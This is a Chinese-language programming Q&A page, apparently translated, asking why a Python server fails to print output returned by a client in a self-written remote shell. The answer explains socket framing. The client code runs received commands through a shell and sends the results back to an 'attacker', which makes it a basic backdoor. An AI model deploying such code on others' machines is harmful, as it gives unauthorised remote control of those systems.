首页 > 解决方案 > 尝试创建远程 shell,程序未按需要打印命令输出

问题描述

我正在尝试在 python 中创建一个远程 shell,并让服务器向客户端发送命令并让它在远程机器上执行。出了问题的是,尽管客户端正在发回输出(据我所知),但服务器没有正确接收和打印它。它一直在工作,直到我更改代码以接收所有数据,而不仅仅是一大块。如何接收所有数据并正确打印?

服务器代码:

while True:
    try:
        command = input(client_ip+ ">")
        if(len(command.split()) != 0):
            client_socket.send(command.encode('utf-8'))
        else:
            continue
    except(EOFError):
            print("Invalid input, type 'help' to get a list of implemented commands.\n")
            continue

    if(command == "quit"):
        break
    total_data = []
    while True:
        data = client_socket.recv(8192)
        if not data: break
        total_data.append(data)
    print(total_data + '\n')
    # try:
    #     output = ''
    #     data = ''
    #     while True:
    #         data += client_socket.recv(1024).decode('utf-8')
    #         if not data:
    #             break
    #         else:
    #             output += data
    # except Exception:
    #     if output:
    #         pass
    #     else:
    #         print("failed")
    # print(data + "\n")

客户端代码:

while True:

    command = connexion_socket.recv(1024).decode('utf-8')
    split_command = command.split()
    print("Received command : " +command)

    # if its quit, then break out and close socket
    if command == "quit":
        break

    if(command.split()[0] == "cd"):
            if len(command.split()) == 1:
                connexion_socket.send((os.getcwd().encode('utf-8')))
            elif len(command.split()) == 2:
                try:
                    os.chdir(command.split()[1])
                    connexion_socket.send(("Changed directory to " + os.getcwd()).encode('utf-8'))
                except(WindowsError):
                    connexion_socket.send(str.encode("No such directory : " +os.getcwd()))

    else:
        # do shell command
        proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        # read output
        stdout_value = (proc.stdout.read() + proc.stderr.read()).decode('utf-8')
        print(stdout_value + "\n")
        # send output to attacker
        if(stdout_value != ""):
            connexion_socket.send(stdout_value.encode('utf-8'))
        else:
            connexion_socket.send((command+ " does not return anything").encode('utf-8'))

如果需要更多信息,请询问:)

标签: pythonwindowsshellsocketsremote-access

解决方案


看来您正在使用流套接字。在这种情况下,问题是如果连接没有关闭(通过),您无法测试 EOF(正在读取零长度数据)以打破您的接收循环client.py。您server.py读取输入,然后返回从套接字接收更多数据,然后等待更多数据(不会到来)。

在你可以通过接受一个新的连接client.py开始你的循环并通过关闭它来结束(注意:返回的套接字将被关闭,而不是调用其方法的监听)。在您可以通过设置和关闭与对方的连接(resp.)来开始和结束您的循环。在那种情况下可以使用就好了。acceptacceptserver.pyif not data: break

另一种选择是。您可以在协议/应用程序级别处理此问题。您可以通过发送要遵循的数据长度来开始传输(并接收直到您拥有现在已知的数据量),或者选择一个消息分隔符(例如b'\0'),您也可以在每个完整的输出块之后发送该分隔符。然后您可以一个接一个地接收数据,直到到达下一个分隔符。在这种情况下,您可以保持现有连接处于活动状态,并将其重新用于来回通信。即在您的接收循环中您检查:if data == b'\0': break并且您conn.send(b'\0')在循环中的每条消息之后发送client.py

不相关的旁注:WindowsError应该是OSError您可能真正想要捕获的子类以使您的代码可移植。


推荐阅读